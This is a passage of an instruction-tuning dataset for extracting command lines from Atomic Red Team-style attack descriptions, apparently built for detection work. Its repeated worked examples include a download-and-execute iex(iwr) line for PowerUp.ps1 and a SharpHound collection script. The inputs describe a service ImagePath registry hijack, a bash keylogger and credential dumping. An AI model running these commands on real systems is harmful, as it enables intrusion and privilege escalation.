listed in HKCR, then output their methods and CLSIDs to a text file.\nAn adversary could then use this information to identify COM objects that might be vulnerable to abuse, such as using them to spawn arbitrary processes. \nSee: https://www.mandiant.com/resources/hunting-com-objects", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Creates a notepad.exe process and then spawns a powershell.exe process as a child of it.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Utilizing PowerView, run Get-DomainController to identify the Domain Controller. Upon execution, information about the domain controller within the domain will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When a command is executed in bash, the BASH_COMMAND variable contains that command. For example :~$ echo $BASH_COMMAND = \"echo $BASH_COMMAND\". The trap command is not a external command, but a built-in function of bash and can be used in a script to run a bash function when some event occurs. trap will detect when the BASH_COMMAND variable value changes and then pipe that value into a file, creating a bash session based keylogger. \n\nTo gain persistence the command could be added to the users .bashrc or .bash_aliases or the systems default .bashrc in /etc/skel/ \n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use schtasks.exe to disable the System Restore (SR) scheduled task\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Check internet connection using PowerShell's Test-NetConnection cmdlet and the TCP protocol to check for outbound SMB (Port 445) access. The default target is 8.8.8.8.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Network Share Discovery utilizing the dir command prompt. The computer ip variable may need to be modified to point to a different host ip\nUpon execution available network shares will be displayed in the commandline session\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, 